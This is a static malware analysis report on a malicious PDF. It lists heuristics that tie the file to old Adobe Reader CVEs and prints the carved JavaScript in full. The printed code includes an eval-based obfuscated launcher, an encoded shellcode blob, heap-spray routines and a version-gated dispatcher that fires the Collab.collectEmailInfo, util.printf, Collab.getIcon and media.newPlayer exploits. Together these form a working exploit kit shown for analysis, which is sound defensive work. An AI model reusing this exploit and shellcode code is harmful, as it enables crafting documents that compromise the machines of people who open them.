Malicious PDF — malware analysis report

Static analysis result for SHA-256 1c57571aa1f74af3…

MALICIOUS

PDF

25.4 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 654059958555e2b803a31ea2552ec049 SHA-1: 2eb16c298a9160306be987354f2e8771a2ae5f0f SHA-256: 1c57571aa1f74af3f5fa50c8c1ba658033412f901b03ef5aaf6f99cf29bc9f8b
516 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript is obfuscated using String.fromCharCode, as suggested by the PDF_FROMCHARCODE heuristic and the document body. This embedded script is likely intended to perform malicious actions upon opening the PDF, such as downloading a second-stage payload. The specific intent of the script is not fully discernible due to obfuscation, but its presence is a strong indicator of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 542 bytes
SHA-256: 250383af186e379f4dcb6e48391204e40d93ee96343462f86a46a32c671369df
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
qdr='';
var q = date.getFullYear()-2007;
tzif='2011s'.replace(date.getFullYear(),'hi');
ibk=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+tzif+'[a]');
var qdh = g(ibk);
llj=('sub2011').replace(date.getFullYear(),'ject');
var fljp=g(llj).replace(date.getFullYear(),'al');
krv=g(fljp);
hnw='pro2011cer';
hnw=krv('hnw.replace(date.getFullYear(),"du")');
eyhs=krv(g(hnw));
oxh = krv(qdh);
for (i = 0; i < oxh.length; i++) {
	zkhp = oxh[i];
	qdr += eyhs(zkhp);
}
krv(qdr);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2E7 3636 bytes
SHA-256: a56b15d64910002c891ce0a5b43f6357b4f238e1235794be8ec065ba7c9e4374
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uc534%ue2aa%uc3fa%ue5e8%uffff%u2cff%uc4c9%uc5c5%u449b%u9929%uc5c4%u4cc5%u4822%ud58a%uaa48%uf491%u921e%u9694%u9696%u9696%u9696%u9690%uad96%uc4c1%uc5c5%u9390%uad96%uabaa%uc5c5%ub0ad%ua9b7%u91a8%u4bad%ucb8b%u2d29%uc58d%uc5c5%u2d95%uc5b9%uc5c5%u153a%u0146%uadcd%u2a8a%uc08a%u2d95%uc5a9%uc5c5%u153a%u0540%ud2b0%u91af%u369c%uad6f%u3bb7%ud376%ud82d%uc5c5%u95c5%u942d%uc5c5%u3ac5%u9615%u3baf%u4cad%uc4aa%u2d78%uc5cd%uc5c5%u2d95%uc5f9%uc5c5%u153a%uf4a5%ua105%u954e%u4ef5%uc997%u974e%u4ed1%uedb7%udd7c%uc5c5%uf4c5%uf43a%u6905%ua4f9%uc7b9%ue5e9%u0a04%uc4c8%u2702%u4435%u9e3a%u8f79%u4eaf%ud587%ud74e%u1cb0%u814c%ud9e1%u06a4%u4ea5%ue1a9%u4ee1%uf980%u914e%ubdc0%u2fc4%u8f4e%u4edd%ue59f%u2ec4%uf126%u4e8c%u4ef1%u2bc4%u3af4%u05f4%u6939%u0541%uc2b1%u0a04%uc4c8%u2e02%ufe31%ue1b9%ub0ed%u4e24%ue19f%u2ec4%u4ea3%u8ec9%u9f4e%uc4d9%u4e2e%u4ec1%u2dc4%u814c%ud9e1%u07a4%uc5cd%u2a2d%u3a3b%uad3a%ub1b1%uffb5%ueaea%ua8ab%uaea9%ua6eb%uebaa%ua6a6%ua1ea%ub5eb%ub5ad%ua3fa%uf7f8%ue3f3%uf8a0%uc5f6';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.